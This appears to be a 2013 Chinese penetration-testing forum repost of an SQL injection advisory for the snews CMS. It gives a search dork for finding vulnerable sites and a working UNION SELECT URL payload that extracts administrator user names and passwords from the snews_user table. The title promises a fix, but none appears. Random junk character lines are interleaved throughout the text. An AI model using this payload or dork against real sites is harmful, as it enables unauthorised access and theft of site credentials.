中国网络渗透测试联盟
标题:
CMS snews SQL注射及修复
[打印本页]
作者:
admin
时间:
2013-1-23 08:55
标题:
CMS snews SQL注射及修复
标题: CMS snews SQL Injection Vulnerability
1 d) n8 \1 \( ?/ g
作者: By onestree
. u+ @! e( \! }' @! X7 \
下载地址 :
http://snewscms.com/
5 q: k4 B# Q7 b. c& V7 `& _
测试平台 : ubuntu 12.10 / win 7
3 [" k3 }) l" W0 ?( R r7 D
关键词: inurl:"tanyakan pada rumput yang bergoyang"
8 l' J( V2 u9 j. ]4 B
% d9 e# T# M2 K h# S; b
9 z" \/ r, M( v
*************************************************************
+ o& O# t( j* M
/ X* K- ~) I5 R6 [
SQL poc:
D) M/ s+ ^- [ \
+ n S( l0 A: ]8 ~; f
http://www.2cto.com
/snews/snews.php?act=shownews&id=[SQL]
/ z9 T2 z! s, [$ |* M, h
) G0 E" j0 {5 ~& f; q# a
示例
1 Y( y" @2 H3 N- e3 ~/ B- s
0 ^( B3 c1 v: p# r( A
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
. l* g8 f, G* P5 ?# n
8 [6 E& g0 m! k; i8 ?
* ^" X& \: O0 {) L; _3 s
致谢:
) n2 L4 K. O& O' Y, R( a
e, g1 ]/ O' [! s3 X) c
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
' {- O0 b( L# y6 [+ U' Z9 h- O
, T; i8 |+ l/ S
indonesiancoder - moeslimh4x0r - go-coder
: I0 }# u- n- w0 L) C. s+ g3 a
U' Z- r. M* z9 m7 u$ b
spesial my hunny :*
+ m2 E; \6 d) N! S8 Z4 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2